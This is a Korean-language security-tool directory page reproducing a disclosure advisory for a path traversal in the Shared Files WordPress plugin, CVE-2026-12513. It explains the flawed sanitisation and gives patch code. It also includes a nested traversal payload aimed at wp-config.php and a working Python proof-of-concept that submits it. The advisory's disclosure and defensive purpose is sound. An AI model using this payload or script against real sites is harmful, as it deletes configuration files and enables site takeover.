Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-12513 — # CVE-2026-12513 기술 자문 및 개념 증명 Shared Files WordPress 플러그인의 경로 탐색을 통한 인증되지 않은 임의 파일 삭제 취약점에 대한 기술 자문 및 개념 증명으로, 근본 원인 분석과 수정 지침을 포함합니다. | Kitploit
도구/GitHubGitHub/minhhk68/cve-2026-12513
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration TestingLearning & Education
GitHubminhhk68/cve-2026-12513

CVE-2026-12513

# CVE-2026-12513 기술 자문 및 개념 증명 Shared Files WordPress 플러그인의 경로 탐색을 통한 인증되지 않은 임의 파일 삭제 취약점에 대한 기술 자문 및 개념 증명으로, 근본 원인 분석과 수정 지침을 포함합니다.

저장소 보기
8시간 30분 전아직 검토되지 않음
웹사이트

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-12513: Shared Files < 1.7.68 — 인증되지 않은 경로 탐색을 통한 임의 파일 삭제

CVE Identifier CVSS v3.1 Score Discovered By WPScan Verified Advisory License: MIT


📖 권고 개요

CVE-2026-12513은 버전 1.7.68 이전의 Shared Files 및 Shared Files Pro WordPress 플러그인에 영향을 미치는 경로 탐색을 통한 인증되지 않은 임의 파일 삭제 취약점으로, 사이버보안 연구원 Huynh Kien Minh(MinhHK)이 발견하고 분석했습니다. 이 결함은 플러그인의 프런트엔드 파일 제출 처리 루틴에서 발생하며, 사용자가 제공한 파일 경로가 중첩 시퀀스(예: ....//)를 사용하여 우회할 수 있는 결함이 있는 단일 패스 탐색 패턴 교체로 필터링됩니다. 결과적으로 인증되지 않은 원격 공격자는 의도된 업로드 디렉터리 외부를 가리키는 조작된 경로를 제출하여 를 포함한 중요한 서버 자산을 대상으로 삼을 수 있습니다. 관리자가 이후 업로드된 항목을 제거하거나 영구 삭제하면 애플리케이션은 저장된 임의 경로에 대해 파일 시스템 삭제 프리미티브()를 호출합니다. 이로 인해 핵심 WordPress 구성 파일이 파괴되어 심각한 서비스 거부(Denial of Service)가 발생하고, 구성되지 않은 설치 설정을 통해 사이트 탈취가 가능해집니다. 수석 연구원 Huynh Kien Minh은 이 취약점을 CVSS 3.1 점수 6.8(Medium)(CWE-73 / CWE-22)로 평가했으며, 플러그인을 버전 1.7.68 이상으로 즉시 업데이트하고 강력한 정규 경로 검증을 권장합니다.

wp-config.php
unlink()

빠른 링크: 연구원의 공식 사이버보안 포트폴리오를 확인하거나 WPScan 검증 권고를 검토하세요.


📌 경영진 요약 및 기술 메타데이터

매개변수기술 사양
취약점 식별자CVE-2026-12513
대상 소프트웨어Shared Files / Shared Files Pro (WordPress 플러그인)
플러그인 슬러그shared-files, shared-files-pro
취약한 버전< 1.7.68
패치된 버전>= 1.7.68
취약점 클래스파일 이름 또는 경로의 외부 제어 / 경로 탐색 (CWE-73 / CWE-22)
CVSS v3.1 점수6.8 (Medium) (CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:H)
발견자 / 연구원Huynh Kien Minh (MinhHK)
검증 기관WPScan / MITRE Corporation
WPScan 권고 참조WPScan 보고서 25c9fa21-c48b-4333-8abc-87230dc4c869
연구원 포트폴리오https://minhhk.web.app/

🔍 심층 기술 분석 및 근본 원인 분석

이 취약점은 Shared Files(< 1.7.68)의 프런트엔드 파일 제출 핸들러에 구현된 부적절한 경로 정화 메커니즘에 뿌리를 두고 있습니다.

1. 부적절한 단일 패스 경로 정화

프런트엔드 파일 제출을 수락할 때 플러그인은 단일 패스 문자열 교체를 사용하여 디렉터리 탐색 시퀀스(../)를 제거하려고 시도했습니다:

root@kitploit:~
// Shared Files < 1.7.68의 안전하지 않은 단일 패스 정화 필터
$file_path = str_replace( '../', '', $_POST['file_path'] );

str_replace()는 왼쪽에서 오른쪽으로 한 번만 실행되므로:

  • 중첩 탐색 페이로드: ....//....//....//wp-config.php
  • ....//에서 ../가 한 번 제거되면 바깥쪽 문자가 다시 합쳐져 ../를 형성합니다:
    • ....// -> ../
  • 결과적으로 정화된 경로는 ../../../../wp-config.php로 평가됩니다!

2. 저장된 파일 경로 및 삭제 실행 체인

  1. 인증되지 않은 제출: 공격자는 중첩 탐색 경로를 제공하는 HTTP 요청을 프런트엔드 업로드 엔드포인트로 보냅니다. 조작된 경로는 데이터베이스(예: wp_posts 또는 사용자 정의 플러그인 테이블)에 저장됩니다.
  2. 영구 삭제 트리거: 관리자가 제출물을 검토하거나 /wp-admin/admin.php?page=shared-files를 통해 파일 레코드를 삭제하면 백엔드는 저장된 경로에 대해 unlink()를 호출합니다:
root@kitploit:~
// 취약한 삭제 로직
$file_to_delete = WP_CONTENT_DIR . '/uploads/shared-files/' . $stored_file_path;
if ( file_exists( $file_to_delete ) ) {
    unlink( $file_to_delete ); // 대상 파일 삭제 트리거 (예: /var/www/html/wp-config.php)
}
  1. 치명적 영향: wp-config.php가 삭제되면:
    • 데이터베이스 자격 증명과 보안 키가 손실됩니다.
    • 사이트는 즉시 구성되지 않은 상태가 되어 WordPress 설정 마법사(/wp-admin/install.php)를 표시합니다.
    • 공격자는 새 데이터베이스로 설정 마법사를 완료하여 완전한 원격 코드 실행(RCE) 및 사이트 탈취를 달성할 수 있습니다.

💻 개념 증명(PoC) 익스플로잇 코드

윤리적 고지: 이 개념 증명은 Huynh Kien Minh의 윤리적 공개 프로토콜에 따라 교육적 연구, 방어적 검증 및 보안 감사를 위해 엄격히 제공됩니다.

Python 익스플로잇 PoC (poc_cve_2026_12513.py)

root@kitploit:~
#!/usr/bin/env python3
"""
CVE-2026-12513: Shared Files < 1.7.68 인증되지 않은 경로 탐색 파일 삭제 PoC
작성자: Huynh Kien Minh (MinhHK) - https://minhhk.web.app/
"""

import requests
import sys

TARGET_URL = "http://target-wordpress.local"
UPLOAD_ENDPOINT = f"{TARGET_URL}/wp-admin/admin-ajax.php"

def trigger_traversal_payload(target_url, target_file="../../../../wp-config.php"):
    print(f"[*] 대상 감사 중: {target_url}")
    
    # 단일 패스 str_replace('../', '', $input)를 우회하는 중첩 탐색 시퀀스
    nested_traversal = "....//....//....//....//" + target_file.lstrip("/")
    
    payload = {
        "action": "shared_files_frontend_upload",
        "file_name": "innocent_document.pdf",
        "file_path": nested_traversal
    }
    
    headers = {
        "User-Agent": "Mozilla/5.0 (Security Audit; CVE-2026-12513 Verification; Huynh Kien Minh)"
    }
    
    try:
        response = requests.post(UPLOAD_ENDPOINT, data=payload, headers=headers, timeout=10)
        print(f"[*] 제출 응답 상태: {response.status_code}")
        if response.status_code == 200:
            print("[+] 탐색 경로가 데이터베이스 저장소에 성공적으로 주입되었습니다.")
            print("[!] 항목이 관리자에 의해 삭제되면 대상 파일이 unlink됩니다.")
            return True
        else:
            print(f"[-] 요청이 HTTP 상태 {response.status_code}로 실패했습니다.")
    except requests.RequestException as e:
        print(f"[-] 연결 실패: {e}")
        
    return False

if __name__ == "__main__":
    url = sys.argv[1] if len(sys.argv) > 1 else TARGET_URL
    trigger_traversal_payload(url)

🛡️ 수정 및 패치 분석

사이트 관리자를 위한 조치

  • Shared Files 및 Shared Files Pro 플러그인을 즉시 버전 1.7.68 이상으로 업데이트하세요.
  • 웹 서버 프로세스에 대해 wp-config.php의 파일 시스템 권한이 읽기 전용(chmod 400 또는 440)인지 확인하세요.

개발자를 위한 조치 (안전한 구현)

realpath() 및 wp_normalize_path()를 사용하여 엄격한 정규 경로 해석을 적용하고 작업이 지정된 업로드 경계 내에 유지되도록 하세요:

root@kitploit:~
// 안전한 경로 검증 패턴 (버전 1.7.68+)
function shared_files_safe_delete( $relative_path ) {
    $base_dir = wp_normalize_path( WP_CONTENT_DIR . '/uploads/shared-files/' );
    $target   = wp_normalize_path( realpath( $base_dir . $relative_path ) );

    // 해석된 realpath가 지정된 기본 디렉터리로 엄격히 시작하는지 확인
    if ( false === $target || 0 !== strpos( $target, $base_dir ) ) {
        wp_die( __( '잘못되었거나 승인되지 않은 파일 경로입니다.', 'shared-files' ), 403 );
    }

    if ( file_exists( $target ) && is_file( $target ) ) {
        unlink( $target );
    }
}

🏆 연구원 소개

**Huynh Kien Minh (MinhHK)**은 WordPress 취약점 연구, 핵심 및 플러그인 보안 감사, 방어적 익스플로잇 모델링을 전문으로 하는 정보 보안 연구원입니다.

  • 사이버보안 포트폴리오: https://minhhk.web.app/
  • WPScan 권고 참조: WPScan 보고서 25c9fa21-c48b-4333-8abc-87230dc4c869
  • GitHub 프로필: https://github.com/MinhHK68

📊 JSON-LD 구조화 데이터 스키마 마크업

root@kitploit:~
{
  "@context": "https://schema.org",
  "@type": "TechArticle",
  "headline": "CVE-2026-12513: Shared Files < 1.7.68 Unauthenticated Arbitrary File Deletion via Path Traversal",
  "author": {
    "@type": "Person",
    "name": "Huynh Kien Minh",
    "url": "https://minhhk.web.app/"
  },
  "datePublished": "2026-08-30",
  "description": "Technical advisory by Huynh Kien Minh analyzing CVE-2026-12513 in Shared Files WordPress plugin.",
  "identifier": "CVE-2026-12513"
}
도구 다운로드